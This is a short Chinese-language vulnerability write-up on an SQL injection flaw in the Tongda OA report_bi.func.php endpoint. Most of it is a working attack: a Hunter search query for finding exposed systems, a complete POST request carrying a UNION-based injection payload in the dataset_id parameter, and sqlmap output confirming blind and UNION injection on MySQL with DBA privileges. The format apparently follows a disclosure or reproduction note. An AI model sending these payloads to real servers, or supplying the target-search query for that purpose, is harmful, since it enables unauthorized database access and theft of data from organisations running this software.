T10-6通达-OA-SQL

漏洞描述：

通达OA report_bi.func.php 存在SQL注入漏洞,攻击者通过漏洞可以获取数据库信息。

网站图片：

网络测绘：

Hunter 语法：

app.name="通达 OA"

漏洞复现：

payload：

```
POST /general/bi_design/appcenter/report_bi.func.php HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Go-http-client/1.1
Content-Length: 113
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

_POST[dataset_id]=efgh'-@``)union select 1,2,user()#'&action=get_link_info&
```

效果图:

```
[06:59:22] [INFO] parsing HTTP request from '1.txt'
[06:59:23] [INFO] resuming back-end DBMS 'mysql'
[06:59:23] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: _POST[dataset_id] (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: _POST[dataset_id]=efgh'-@`'`) AND (SELECT 5477 FROM (SELECT(SLEEP(5)))Yhey)-- zdmK&action=get_link_in

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: _POST[dataset_id]=efgh'-@`'`) UNION ALL SELECT CONCAT(0x7176707071,0x4f74425a5270656771484c4d6f53506b
0595669616970706a5541695070,0x7176717071),NULL,NULL-- -&action=get_link_info&
---
[06:59:24] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.12
[06:59:24] [INFO] testing if current user is DBA
[06:59:24] [INFO] fetching current user
current user is DBA: True
```